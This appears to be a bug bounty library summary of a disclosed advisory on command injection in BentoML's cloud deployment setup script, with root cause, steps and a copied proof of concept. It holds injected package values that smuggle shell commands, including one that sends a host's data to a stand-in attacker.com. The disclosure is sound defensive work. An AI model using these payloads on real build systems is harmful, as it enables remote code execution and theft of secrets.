# BentoML: Command Injection in cloud deployment setup script

BentoML's cloud deployment setup script interpolates bentofile.yaml system_packages unquoted into apt-get, letting a malicious bentofile run commands on BentoCloud build infrastructure.

- Payout: Research
- Severity: high
- Program: BentoML
- Found by: kodareef5
- Disclosed: 2026-04-03
- CVE: CVE-2026-35043
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fgv4-6jr3-jgfw
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-fgv4-6jr3-jgfw
- Tags: area:cloud domain:cloud impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:docker tech:python technique:incomplete-fix vuln:command-injection vuln:rce

**Target:** BentoML cloud deployment setup script (deployment.py _build_setup_script) executed on BentoCloud build nodes
**Root cause:** system_packages from bentofile.yaml are joined with spaces and interpolated directly into an apt-get shell command via f-string without shlex.quote; the earlier fix (commit ce53491) covered Dockerfile templates and images.py but missed the cloud deployment path.
**Steps:**
1. Create bentofile.yaml with docker.system_packages containing `jq; touch /tmp/PWNED_BY_INJECTION #`
2. Trigger deployment so _build_setup_script (deployment.py:1648) generates setup.sh with the unquoted join
3. setup.sh is uploaded as setup.sh to BentoCloud and executed on build infrastructure
4. Semicolon breaks out of apt-get, injected command runs, `#` comments out `|| exit 1`
**How found:** Noticed the prior command-injection fix (ce53491) added shlex.quote to images.py and Jinja templates but did not cover the separate cloud deployment code path, then traced _build_setup_script through upload and remote execution.
**Exploitation:** A poisoned bentofile.yaml (e.g. from a shared Bento on a public model hub, or by an insider with deploy rights) is deployed; the generated setup.sh runs on BentoCloud/Yatai build nodes, executing arbitrary commands such as `curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)` to exfiltrate build-environment secrets and pivot to registries/artifact storage.
**Escalation:** Build infrastructure holds cloud credentials, registry and deployment API access, enabling supply-chain and cross-tenant compromise.
**Insight:** When a fix lands for an injection class, grep for every other place the same tainted field is formatted into a shell string — parallel code paths (cloud vs local build) are commonly missed by incomplete fixes.

## Proof of concept (copied exactly from the original report)

**Malicious bentofile.yaml with injected system_packages**

```
service: "service:svc"
    docker:
      system_packages:
        - "curl"
        - "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"
```

**Local reproduction bentofile.yaml with touch payload**

```
mkdir /tmp/bento-pwn
    cat > /tmp/bento-pwn/bentofile.yaml << 'EOF'
    service: "service:svc"
    docker:
      system_packages:
        - "curl"
        - "jq; touch /tmp/PWNED_BY_INJECTION #"
    EOF
```

**Python script generating vulnerable setup.sh**

```
python3 -c "
    import yaml
    with open('/tmp/bento-pwn/bentofile.yaml') as f:
        config = yaml.safe_load(f)
    pkgs = config['docker']['system_packages']
    script = f\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n\"
    print('Generated setup.sh:')
    print(script)
    with open('/tmp/bento-pwn/setup.sh', 'w') as f:
        f.write(script)
    "
```

